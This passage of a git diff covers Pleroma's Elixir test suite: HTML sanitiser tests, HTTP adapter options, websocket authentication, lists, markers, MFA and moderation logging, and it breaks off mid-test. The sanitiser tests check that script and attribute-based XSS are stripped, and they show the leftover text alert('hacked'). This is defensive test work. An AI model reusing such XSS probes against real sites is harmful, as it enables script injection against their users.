	this is an image:
	alert('hacked')
	"""

	assert expected == HTML.strip_tags(@html_sample)
	end

	test "does not allow attribute-based XSS" do
	expected = "\n"

	assert expected == HTML.strip_tags(@html_onerror_sample)
	end
	end

	describe "TwitterText scrubber" do
	test "normalizes HTML as expected" do
	expected = """
	this is in bold
	<p>this is a paragraph</p>
	this is a linebreak<br/>
	this is a link with allowed "rel" attribute: <a href="http://example.com/" rel="tag">example.com</a>
	this is a link with not allowed "rel" attribute: <a href="http://example.com/">example.com</a>
	this is an image: <img src="http://example.com/image.jpg"/><br/>
	alert('hacked')
	"""

	assert expected == HTML.filter_tags(@html_sample, Pleroma.HTML.Scrubber.TwitterText)
	end

	test "does not allow attribute-based XSS" do
	expected = """
	<img src="http://example.com/image.jpg"/>
	"""

	assert expected == HTML.filter_tags(@html_onerror_sample, Pleroma.HTML.Scrubber.TwitterText)
	end

	test "does not allow spans with invalid classes" do
	expected = """
	<span>hi</span>
	"""

	assert expected ==
	HTML.filter_tags(@html_span_class_sample, Pleroma.HTML.Scrubber.TwitterText)
	end

	test "does allow microformats" do
	expected = """
	<span class="h-card"><a class="u-url mention">@<span>foo</span></a></span>
	"""

	assert expected ==
	HTML.filter_tags(@html_span_microformats_sample, Pleroma.HTML.Scrubber.TwitterText)
	end

	test "filters invalid microformats markup" do
	expected = """
	<span class="h-card"><a>@<span>foo</span></a></span>
	"""

	assert expected ==
	HTML.filter_tags(
	@html_span_invalid_microformats_sample,
	Pleroma.HTML.Scrubber.TwitterText
	)
	end
	end

	describe "default scrubber" do
	test "normalizes HTML as expected" do
	expected = """
	<b>this is in bold</b>
	<p>this is a paragraph</p>
	this is a linebreak<br/>
	this is a link with allowed "rel" attribute: <a href="http://example.com/" rel="tag">example.com</a>
	this is a link with not allowed "rel" attribute: <a href="http://example.com/">example.com</a>
	this is an image: <img src="http://example.com/image.jpg"/><br/>
	alert('hacked')
	"""

	assert expected == HTML.filter_tags(@html_sample, Pleroma.HTML.Scrubber.Default)
	end

	test "does not allow attribute-based XSS" do
	expected = """
	<img src="http://example.com/image.jpg"/>
	"""

	assert expected == HTML.filter_tags(@html_onerror_sample, Pleroma.HTML.Scrubber.Default)
	end

	test "does not allow spans with invalid classes" do
	expected = """
	<span>hi</span>
	"""

	assert expected == HTML.filter_tags(@html_span_class_sample, Pleroma.HTML.Scrubber.Default)
	end

	test "does allow microformats" do
	expected = """
	<span class="h-card"><a class="u-url mention">@<span>foo</span></a></span>
	"""

	assert expected ==
	HTML.filter_tags(@html_span_microformats_sample, Pleroma.HTML.Scrubber.Default)
	end

	test "filters invalid microformats markup" do
	expected = """
	<span class="h-card"><a>@<span>foo</span></a></span>
	"""

	assert expected ==
	HTML.filter_tags(
	@html_span_invalid_microformats_sample,
	Pleroma.HTML.Scrubber.Default
	)
	end
	end

	describe "extract_first_external_url_from_object" do
	test "extracts the url" do
	user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{
	status:
	"I think I just found the best github repo https://github.com/komeiji-satori/Dress"
	})

	object = Object.normalize(activity)
	{:ok, url} = HTML.extract_first_external_url_from_object(object)
	assert url == "https://github.com/komeiji-satori/Dress"
	end

	test "skips mentions" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{
	status:
	"@#{other_user.nickname} install misskey! https://github.com/syuilo/misskey/blob/develop/docs/setup.en.md"
	})

	object = Object.normalize(activity)
	{:ok, url} = HTML.extract_first_external_url_from_object(object)

	assert url == "https://github.com/syuilo/misskey/blob/develop/docs/setup.en.md"

	refute url == other_user.ap_id
	end

	test "skips hashtags" do
	user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{
	status: "#cofe https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140"
	})

	object = Object.normalize(activity)
	{:ok, url} = HTML.extract_first_external_url_from_object(object)

	assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140"
	end

	test "skips microformats hashtags" do
	user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{
	status:
	"<a href=\"https://pleroma.gov/tags/cofe\" rel=\"tag\">#cofe</a> https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140",
	content_type: "text/html"
	})

	object = Object.normalize(activity)
	{:ok, url} = HTML.extract_first_external_url_from_object(object)

	assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140"
	end

	test "does not crash when there is an HTML entity in a link" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: "\"http://cofe.com/?boomer=ok&foo=bar\""})

	object = Object.normalize(activity)

	assert {:ok, nil} = HTML.extract_first_external_url_from_object(object)
	end

	test "skips attachment links" do
	user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{
	status:
	"<a href=\"https://pleroma.gov/media/d24caa3a498e21e0298377a9ca0149a4f4f8b767178aacf837542282e2d94fb1.png?name=image.png\" class=\"attachment\">image.png</a>"
	})

	object = Object.normalize(activity)

	assert {:ok, nil} = HTML.extract_first_external_url_from_object(object)
	end
	end
	end
	diff --git a/test/pleroma/http/adapter_helper/gun_test.exs b/test/pleroma/http/adapter_helper/gun_test.exs
	index 80589c73d..487d2e7c1 100644
	--- a/test/pleroma/http/adapter_helper/gun_test.exs
	+++ b/test/pleroma/http/adapter_helper/gun_test.exs
	@@ -1,84 +1,84 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.HTTP.AdapterHelper.GunTest do
	- use ExUnit.Case, async: true
	+ use ExUnit.Case
	use Pleroma.Tests.Helpers

	import Mox

	alias Pleroma.Config
	alias Pleroma.HTTP.AdapterHelper.Gun

	setup :verify_on_exit!

	describe "options/1" do
	setup do: clear_config([:http, :adapter], a: 1, b: 2)

	test "https url with default port" do
	uri = URI.parse("https://example.com")

	opts = Gun.options([receive_conn: false], uri)
	assert opts[:certificates_verification]
	end

	test "https ipv4 with default port" do
	uri = URI.parse("https://127.0.0.1")

	opts = Gun.options([receive_conn: false], uri)
	assert opts[:certificates_verification]
	end

	test "https ipv6 with default port" do
	uri = URI.parse("https://[2a03:2880:f10c:83:face:b00c:0:25de]")

	opts = Gun.options([receive_conn: false], uri)
	assert opts[:certificates_verification]
	end

	test "https url with non standart port" do
	uri = URI.parse("https://example.com:115")

	opts = Gun.options([receive_conn: false], uri)

	assert opts[:certificates_verification]
	end

	test "merges with defaul http adapter config" do
	defaults = Gun.options([receive_conn: false], URI.parse("https://example.com"))
	assert Keyword.has_key?(defaults, :a)
	assert Keyword.has_key?(defaults, :b)
	end

	test "parses string proxy host & port" do
	proxy = Config.get([:http, :proxy_url])
	Config.put([:http, :proxy_url], "localhost:8123")
	on_exit(fn -> Config.put([:http, :proxy_url], proxy) end)

	uri = URI.parse("https://some-domain.com")
	opts = Gun.options([receive_conn: false], uri)
	assert opts[:proxy] == {'localhost', 8123}
	end

	test "parses tuple proxy scheme host and port" do
	proxy = Config.get([:http, :proxy_url])
	Config.put([:http, :proxy_url], {:socks, 'localhost', 1234})
	on_exit(fn -> Config.put([:http, :proxy_url], proxy) end)

	uri = URI.parse("https://some-domain.com")
	opts = Gun.options([receive_conn: false], uri)
	assert opts[:proxy] == {:socks, 'localhost', 1234}
	end

	test "passed opts have more weight than defaults" do
	proxy = Config.get([:http, :proxy_url])
	Config.put([:http, :proxy_url], {:socks5, 'localhost', 1234})
	on_exit(fn -> Config.put([:http, :proxy_url], proxy) end)
	uri = URI.parse("https://some-domain.com")
	opts = Gun.options([receive_conn: false, proxy: {'example.com', 4321}], uri)

	assert opts[:proxy] == {'example.com', 4321}
	end
	end
	end
	diff --git a/test/pleroma/integration/mastodon_websocket_test.exs b/test/pleroma/integration/mastodon_websocket_test.exs
	index bb8e795b7..4a7dbda71 100644
	--- a/test/pleroma/integration/mastodon_websocket_test.exs
	+++ b/test/pleroma/integration/mastodon_websocket_test.exs
	@@ -1,129 +1,130 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Integration.MastodonWebsocketTest do
	+ # Needs a streamer, needs to stay synchronous
	use Pleroma.DataCase

	import ExUnit.CaptureLog
	import Pleroma.Factory

	alias Pleroma.Integration.WebsocketClient
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.OAuth

	@moduletag needs_streamer: true, capture_log: true

	@path Pleroma.Web.Endpoint.url()
	\|> URI.parse()
	\|> Map.put(:scheme, "ws")
	\|> Map.put(:path, "/api/v1/streaming")
	\|> URI.to_string()

	def start_socket(qs \\ nil, headers \\ []) do
	path =
	case qs do
	nil -> @path
	qs -> @path <> qs
	end

	WebsocketClient.start_link(self(), path, headers)
	end

	test "refuses invalid requests" do
	capture_log(fn ->
	assert {:error, {404, _}} = start_socket()
	assert {:error, {404, _}} = start_socket("?stream=ncjdk")
	Process.sleep(30)
	end)
	end

	test "requires authentication and a valid token for protected streams" do
	capture_log(fn ->
	assert {:error, {401, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa")
	assert {:error, {401, _}} = start_socket("?stream=user")
	Process.sleep(30)
	end)
	end

	test "allows public streams without authentication" do
	assert {:ok, _} = start_socket("?stream=public")
	assert {:ok, _} = start_socket("?stream=public:local")
	assert {:ok, _} = start_socket("?stream=public:remote&instance=lain.com")
	assert {:ok, _} = start_socket("?stream=hashtag&tag=lain")
	end

	test "receives well formatted events" do
	user = insert(:user)
	{:ok, _} = start_socket("?stream=public")
	{:ok, activity} = CommonAPI.post(user, %{status: "nice echo chamber"})

	assert_receive {:text, raw_json}, 1_000
	assert {:ok, json} = Jason.decode(raw_json)

	assert "update" == json["event"]
	assert json["payload"]
	assert {:ok, json} = Jason.decode(json["payload"])

	view_json =
	Pleroma.Web.MastodonAPI.StatusView.render("show.json", activity: activity, for: nil)
	\|> Jason.encode!()
	\|> Jason.decode!()

	assert json == view_json
	end

	describe "with a valid user token" do
	setup do
	{:ok, app} =
	Pleroma.Repo.insert(
	OAuth.App.register_changeset(%OAuth.App{}, %{
	client_name: "client",
	scopes: ["read"],
	redirect_uris: "url"
	})
	)

	user = insert(:user)

	{:ok, auth} = OAuth.Authorization.create_authorization(app, user)

	{:ok, token} = OAuth.Token.exchange_token(app, auth)

	%{user: user, token: token}
	end

	test "accepts valid tokens", state do
	assert {:ok, _} = start_socket("?stream=user&access_token=#{state.token.token}")
	end

	test "accepts the 'user' stream", %{token: token} = _state do
	assert {:ok, _} = start_socket("?stream=user&access_token=#{token.token}")

	capture_log(fn ->
	assert {:error, {401, _}} = start_socket("?stream=user")
	Process.sleep(30)
	end)
	end

	test "accepts the 'user:notification' stream", %{token: token} = _state do
	assert {:ok, _} = start_socket("?stream=user:notification&access_token=#{token.token}")

	capture_log(fn ->
	assert {:error, {401, _}} = start_socket("?stream=user:notification")
	Process.sleep(30)
	end)
	end

	test "accepts valid token on Sec-WebSocket-Protocol header", %{token: token} do
	assert {:ok, _} = start_socket("?stream=user", [{"Sec-WebSocket-Protocol", token.token}])

	capture_log(fn ->
	assert {:error, {401, _}} =
	start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}])

	Process.sleep(30)
	end)
	end
	end
	end
	diff --git a/test/pleroma/keys_test.exs b/test/pleroma/keys_test.exs
	index 9e8528cba..55a7aa1bc 100644
	--- a/test/pleroma/keys_test.exs
	+++ b/test/pleroma/keys_test.exs
	@@ -1,24 +1,24 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.KeysTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Keys

	test "generates an RSA private key pem" do
	{:ok, key} = Keys.generate_rsa_pem()

	assert is_binary(key)
	assert Regex.match?(~r/RSA/, key)
	end

	test "returns a public and private key from a pem" do
	pem = File.read!("test/fixtures/private_key.pem")
	{:ok, private, public} = Keys.keys_from_pem(pem)

	assert elem(private, 0) == :RSAPrivateKey
	assert elem(public, 0) == :RSAPublicKey
	end
	end
	diff --git a/test/pleroma/list_test.exs b/test/pleroma/list_test.exs
	index b5572cbae..854e276f1 100644
	--- a/test/pleroma/list_test.exs
	+++ b/test/pleroma/list_test.exs
	@@ -1,149 +1,149 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.ListTest do
	alias Pleroma.Repo
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	import Pleroma.Factory

	test "creating a list" do
	user = insert(:user)
	{:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user)
	%Pleroma.List{title: title} = Pleroma.List.get(list.id, user)
	assert title == "title"
	end

	test "validates title" do
	user = insert(:user)

	assert {:error, changeset} = Pleroma.List.create("", user)
	assert changeset.errors == [title: {"can't be blank", [validation: :required]}]
	end

	test "getting a list not belonging to the user" do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user)
	ret = Pleroma.List.get(list.id, other_user)
	assert is_nil(ret)
	end

	test "adding an user to a list" do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, list} = Pleroma.List.create("title", user)
	{:ok, %{following: following}} = Pleroma.List.follow(list, other_user)
	assert [other_user.follower_address] == following
	end

	test "removing an user from a list" do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, list} = Pleroma.List.create("title", user)
	{:ok, %{following: _following}} = Pleroma.List.follow(list, other_user)
	{:ok, %{following: following}} = Pleroma.List.unfollow(list, other_user)
	assert [] == following
	end

	test "renaming a list" do
	user = insert(:user)
	{:ok, list} = Pleroma.List.create("title", user)
	{:ok, %{title: title}} = Pleroma.List.rename(list, "new")
	assert "new" == title
	end

	test "deleting a list" do
	user = insert(:user)
	{:ok, list} = Pleroma.List.create("title", user)
	{:ok, list} = Pleroma.List.delete(list)
	assert is_nil(Repo.get(Pleroma.List, list.id))
	end

	test "getting users in a list" do
	user = insert(:user)
	other_user = insert(:user)
	third_user = insert(:user)
	{:ok, list} = Pleroma.List.create("title", user)
	{:ok, list} = Pleroma.List.follow(list, other_user)
	{:ok, list} = Pleroma.List.follow(list, third_user)
	{:ok, following} = Pleroma.List.get_following(list)
	assert other_user in following
	assert third_user in following
	end

	test "getting all lists by an user" do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, list_one} = Pleroma.List.create("title", user)
	{:ok, list_two} = Pleroma.List.create("other title", user)
	{:ok, list_three} = Pleroma.List.create("third title", other_user)
	lists = Pleroma.List.for_user(user, %{})
	assert list_one in lists
	assert list_two in lists
	refute list_three in lists
	end

	test "getting all lists the user is a member of" do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, list_one} = Pleroma.List.create("title", user)
	{:ok, list_two} = Pleroma.List.create("other title", user)
	{:ok, list_three} = Pleroma.List.create("third title", other_user)
	{:ok, list_one} = Pleroma.List.follow(list_one, other_user)
	{:ok, list_two} = Pleroma.List.follow(list_two, other_user)
	{:ok, list_three} = Pleroma.List.follow(list_three, user)

	lists = Pleroma.List.get_lists_from_activity(%Pleroma.Activity{actor: other_user.ap_id})
	assert list_one in lists
	assert list_two in lists
	refute list_three in lists
	end

	test "getting own lists a given user belongs to" do
	owner = insert(:user)
	not_owner = insert(:user)
	member_1 = insert(:user)
	member_2 = insert(:user)
	{:ok, owned_list} = Pleroma.List.create("owned", owner)
	{:ok, not_owned_list} = Pleroma.List.create("not owned", not_owner)
	{:ok, owned_list} = Pleroma.List.follow(owned_list, member_1)
	{:ok, owned_list} = Pleroma.List.follow(owned_list, member_2)
	{:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_1)
	{:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_2)

	lists_1 = Pleroma.List.get_lists_account_belongs(owner, member_1)
	assert owned_list in lists_1
	refute not_owned_list in lists_1
	lists_2 = Pleroma.List.get_lists_account_belongs(owner, member_2)
	assert owned_list in lists_2
	refute not_owned_list in lists_2
	end

	test "get by ap_id" do
	user = insert(:user)
	{:ok, list} = Pleroma.List.create("foo", user)
	assert Pleroma.List.get_by_ap_id(list.ap_id) == list
	end

	test "memberships" do
	user = insert(:user)
	member = insert(:user)
	{:ok, list} = Pleroma.List.create("foo", user)
	{:ok, list} = Pleroma.List.follow(list, member)

	assert Pleroma.List.memberships(member) == [list.ap_id]
	end

	test "member?" do
	user = insert(:user)
	member = insert(:user)

	{:ok, list} = Pleroma.List.create("foo", user)
	{:ok, list} = Pleroma.List.follow(list, member)

	assert Pleroma.List.member?(list, member)
	refute Pleroma.List.member?(list, user)
	end
	end
	diff --git a/test/pleroma/marker_test.exs b/test/pleroma/marker_test.exs
	index 7b3943c7b..3055f1ce2 100644
	--- a/test/pleroma/marker_test.exs
	+++ b/test/pleroma/marker_test.exs
	@@ -1,78 +1,78 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.MarkerTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.Marker

	import Pleroma.Factory

	describe "multi_set_unread_count/3" do
	test "returns multi" do
	user = insert(:user)

	assert %Ecto.Multi{
	operations: [marker: {:run, _}, counters: {:run, _}]
	} =
	Marker.multi_set_last_read_id(
	Ecto.Multi.new(),
	user,
	"notifications"
	)
	end

	test "return empty multi" do
	user = insert(:user)
	multi = Ecto.Multi.new()
	assert Marker.multi_set_last_read_id(multi, user, "home") == multi
	end
	end

	describe "get_markers/2" do
	test "returns user markers" do
	user = insert(:user)
	marker = insert(:marker, user: user)
	insert(:notification, user: user, activity: insert(:note_activity))
	insert(:notification, user: user, activity: insert(:note_activity))
	insert(:marker, timeline: "home", user: user)

	assert Marker.get_markers(
	user,
	["notifications"]
	) == [%Marker{refresh_record(marker) \| unread_count: 2}]
	end
	end

	describe "upsert/2" do
	test "creates a marker" do
	user = insert(:user)

	{:ok, %{"notifications" => %Marker{} = marker}} =
	Marker.upsert(
	user,
	%{"notifications" => %{"last_read_id" => "34"}}
	)

	assert marker.timeline == "notifications"
	assert marker.last_read_id == "34"
	assert marker.lock_version == 0
	end

	test "updates exist marker" do
	user = insert(:user)
	marker = insert(:marker, user: user, last_read_id: "8909")

	{:ok, %{"notifications" => %Marker{}}} =
	Marker.upsert(
	user,
	%{"notifications" => %{"last_read_id" => "9909"}}
	)

	marker = refresh_record(marker)
	assert marker.timeline == "notifications"
	assert marker.last_read_id == "9909"
	assert marker.lock_version == 0
	end
	end
	end
	diff --git a/test/pleroma/mfa/backup_codes_test.exs b/test/pleroma/mfa/backup_codes_test.exs
	index 41adb1e96..c3eaf40b6 100644
	--- a/test/pleroma/mfa/backup_codes_test.exs
	+++ b/test/pleroma/mfa/backup_codes_test.exs
	@@ -1,15 +1,15 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.MFA.BackupCodesTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.MFA.BackupCodes

	test "generate backup codes" do
	codes = BackupCodes.generate(number_of_codes: 2, length: 4)

	assert [<<_::bytes-size(4)>>, <<_::bytes-size(4)>>] = codes
	end
	end
	diff --git a/test/pleroma/mfa/totp_test.exs b/test/pleroma/mfa/totp_test.exs
	index 9edb6fd54..8c09bf447 100644
	--- a/test/pleroma/mfa/totp_test.exs
	+++ b/test/pleroma/mfa/totp_test.exs
	@@ -1,21 +1,21 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.MFA.TOTPTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.MFA.TOTP

	test "create provisioning_uri to generate qrcode" do
	uri =
	TOTP.provisioning_uri("test-secrcet", "test@example.com",
	issuer: "Plerome-42",
	digits: 8,
	period: 60
	)

	assert uri ==
	"otpauth://totp/test@example.com?digits=8&issuer=Plerome-42&period=60&secret=test-secrcet"
	end
	end
	diff --git a/test/pleroma/mfa_test.exs b/test/pleroma/mfa_test.exs
	index 8875cefd9..cd1f7d0af 100644
	--- a/test/pleroma/mfa_test.exs
	+++ b/test/pleroma/mfa_test.exs
	@@ -1,52 +1,52 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.MFATest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	import Pleroma.Factory
	alias Pleroma.MFA

	describe "mfa_settings" do
	test "returns settings user's" do
	user =
	insert(:user,
	multi_factor_authentication_settings: %MFA.Settings{
	enabled: true,
	totp: %MFA.Settings.TOTP{secret: "xx", confirmed: true}
	}
	)

	settings = MFA.mfa_settings(user)
	assert match?(^settings, %{enabled: true, totp: true})
	end
	end

	describe "generate backup codes" do
	test "returns backup codes" do
	user = insert(:user)

	{:ok, [code1, code2]} = MFA.generate_backup_codes(user)
	updated_user = refresh_record(user)
	[hash1, hash2] = updated_user.multi_factor_authentication_settings.backup_codes
	assert Pbkdf2.verify_pass(code1, hash1)
	assert Pbkdf2.verify_pass(code2, hash2)
	end
	end

	describe "invalidate_backup_code" do
	test "invalid used code" do
	user = insert(:user)

	{:ok, _} = MFA.generate_backup_codes(user)
	user = refresh_record(user)
	assert length(user.multi_factor_authentication_settings.backup_codes) == 2
	[hash_code \| _] = user.multi_factor_authentication_settings.backup_codes

	{:ok, user} = MFA.invalidate_backup_code(user, hash_code)

	assert length(user.multi_factor_authentication_settings.backup_codes) == 1
	end
	end
	end
	diff --git a/test/pleroma/migration_helper/notification_backfill_test.exs b/test/pleroma/migration_helper/notification_backfill_test.exs
	index 2a62a2b00..6fe8a11ac 100644
	--- a/test/pleroma/migration_helper/notification_backfill_test.exs
	+++ b/test/pleroma/migration_helper/notification_backfill_test.exs
	@@ -1,56 +1,56 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.MigrationHelper.NotificationBackfillTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Activity
	alias Pleroma.MigrationHelper.NotificationBackfill
	alias Pleroma.Notification
	alias Pleroma.Repo
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	describe "fill_in_notification_types" do
	test "it fills in missing notification types" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, post} = CommonAPI.post(user, %{status: "yeah, @#{other_user.nickname}"})
	{:ok, chat} = CommonAPI.post_chat_message(user, other_user, "yo")
	{:ok, react} = CommonAPI.react_with_emoji(post.id, other_user, "☕")
	{:ok, like} = CommonAPI.favorite(other_user, post.id)
	{:ok, react_2} = CommonAPI.react_with_emoji(post.id, other_user, "☕")

	data =
	react_2.data
	\|> Map.put("type", "EmojiReaction")

	{:ok, react_2} =
	react_2
	\|> Activity.change(%{data: data})
	\|> Repo.update()

	assert {5, nil} = Repo.update_all(Notification, set: [type: nil])

	NotificationBackfill.fill_in_notification_types()

	assert %{type: "mention"} =
	Repo.get_by(Notification, user_id: other_user.id, activity_id: post.id)

	assert %{type: "favourite"} =
	Repo.get_by(Notification, user_id: user.id, activity_id: like.id)

	assert %{type: "pleroma:emoji_reaction"} =
	Repo.get_by(Notification, user_id: user.id, activity_id: react.id)

	assert %{type: "pleroma:emoji_reaction"} =
	Repo.get_by(Notification, user_id: user.id, activity_id: react_2.id)

	assert %{type: "pleroma:chat_mention"} =
	Repo.get_by(Notification, user_id: other_user.id, activity_id: chat.id)
	end
	end
	end
	diff --git a/test/pleroma/moderation_log_test.exs b/test/pleroma/moderation_log_test.exs
	index 03b32a060..d1e0e1e6b 100644
	--- a/test/pleroma/moderation_log_test.exs
	+++ b/test/pleroma/moderation_log_test.exs
	@@ -1,313 +1,313 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.ModerationLogTest do
	alias Pleroma.Activity
	alias Pleroma.ModerationLog

	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	import Pleroma.Factory

	describe "user moderation" do
	setup do
	admin = insert(:user, is_admin: true)
	moderator = insert(:user, is_moderator: true)
	subject1 = insert(:user)
	subject2 = insert(:user)

	[admin: admin, moderator: moderator, subject1: subject1, subject2: subject2]
	end

	test "logging user deletion by moderator", %{moderator: moderator, subject1: subject1} do
	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: moderator,
	subject: [subject1],
	action: "delete"
	})

	log = Repo.one(ModerationLog)

	assert log.data["message"] == "@#{moderator.nickname} deleted users: @#{subject1.nickname}"
	end

	test "logging user creation by moderator", %{
	moderator: moderator,
	subject1: subject1,
	subject2: subject2
	} do
	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: moderator,
	subjects: [subject1, subject2],
	action: "create"
	})

	log = Repo.one(ModerationLog)

	assert log.data["message"] ==
	"@#{moderator.nickname} created users: @#{subject1.nickname}, @#{subject2.nickname}"
	end

	test "logging user follow by admin", %{admin: admin, subject1: subject1, subject2: subject2} do
	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: admin,
	followed: subject1,
	follower: subject2,
	action: "follow"
	})

	log = Repo.one(ModerationLog)

	assert log.data["message"] ==
	"@#{admin.nickname} made @#{subject2.nickname} follow @#{subject1.nickname}"
	end

	test "logging user unfollow by admin", %{admin: admin, subject1: subject1, subject2: subject2} do
	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: admin,
	followed: subject1,
	follower: subject2,
	action: "unfollow"
	})

	log = Repo.one(ModerationLog)

	assert log.data["message"] ==
	"@#{admin.nickname} made @#{subject2.nickname} unfollow @#{subject1.nickname}"
	end

	test "logging user tagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do
	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: admin,
	nicknames: [subject1.nickname, subject2.nickname],
	tags: ["foo", "bar"],
	action: "tag"
	})

	log = Repo.one(ModerationLog)

	users =
	[subject1.nickname, subject2.nickname]
	\|> Enum.map(&"@#{&1}")
	\|> Enum.join(", ")

	tags = ["foo", "bar"] \|> Enum.join(", ")

	assert log.data["message"] == "@#{admin.nickname} added tags: #{tags} to users: #{users}"
	end

	test "logging user untagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do
	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: admin,
	nicknames: [subject1.nickname, subject2.nickname],
	tags: ["foo", "bar"],
	action: "untag"
	})

	log = Repo.one(ModerationLog)

	users =
	[subject1.nickname, subject2.nickname]
	\|> Enum.map(&"@#{&1}")
	\|> Enum.join(", ")

	tags = ["foo", "bar"] \|> Enum.join(", ")

	assert log.data["message"] ==
	"@#{admin.nickname} removed tags: #{tags} from users: #{users}"
	end

	test "logging user grant by moderator", %{moderator: moderator, subject1: subject1} do
	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: moderator,
	subject: [subject1],
	action: "grant",
	permission: "moderator"
	})

	log = Repo.one(ModerationLog)

	assert log.data["message"] == "@#{moderator.nickname} made @#{subject1.nickname} moderator"
	end

	test "logging user revoke by moderator", %{moderator: moderator, subject1: subject1} do
	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: moderator,
	subject: [subject1],
	action: "revoke",
	permission: "moderator"
	})

	log = Repo.one(ModerationLog)

	assert log.data["message"] ==
	"@#{moderator.nickname} revoked moderator role from @#{subject1.nickname}"
	end

	test "logging relay follow", %{moderator: moderator} do
	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: moderator,
	action: "relay_follow",
	target: "https://example.org/relay"
	})

	log = Repo.one(ModerationLog)

	assert log.data["message"] ==
	"@#{moderator.nickname} followed relay: https://example.org/relay"
	end

	test "logging relay unfollow", %{moderator: moderator} do
	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: moderator,
	action: "relay_unfollow",
	target: "https://example.org/relay"
	})

	log = Repo.one(ModerationLog)

	assert log.data["message"] ==
	"@#{moderator.nickname} unfollowed relay: https://example.org/relay"
	end

	test "logging report update", %{moderator: moderator} do
	user = insert(:user)

	report = %Activity{
	id: "9m9I1F4p8ftrTP6QTI",
	data: %{
	"type" => "Flag",
	"state" => "resolved",
	"actor" => user.ap_id
	}
	}

	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: moderator,
	action: "report_update",
	subject: report,
	subject_actor: user
	})

	log = Repo.one(ModerationLog)

	assert log.data["message"] ==
	"@#{moderator.nickname} updated report ##{report.id} (on user @#{user.nickname}) with 'resolved' state"
	end

	test "logging report response", %{moderator: moderator} do
	user = insert(:user)

	report = %Activity{
	id: "9m9I1F4p8ftrTP6QTI",
	data: %{
	"type" => "Note",
	"actor" => user.ap_id
	}
	}

	attrs = %{
	actor: moderator,
	action: "report_note",
	subject: report,
	text: "look at this"
	}

	{:ok, log1} = ModerationLog.insert_log(attrs)
	log = Repo.get(ModerationLog, log1.id)

	assert log.data["message"] ==
	"@#{moderator.nickname} added note 'look at this' to report ##{report.id}"

	{:ok, log2} = ModerationLog.insert_log(Map.merge(attrs, %{subject_actor: user}))

	log = Repo.get(ModerationLog, log2.id)

	assert log.data["message"] ==
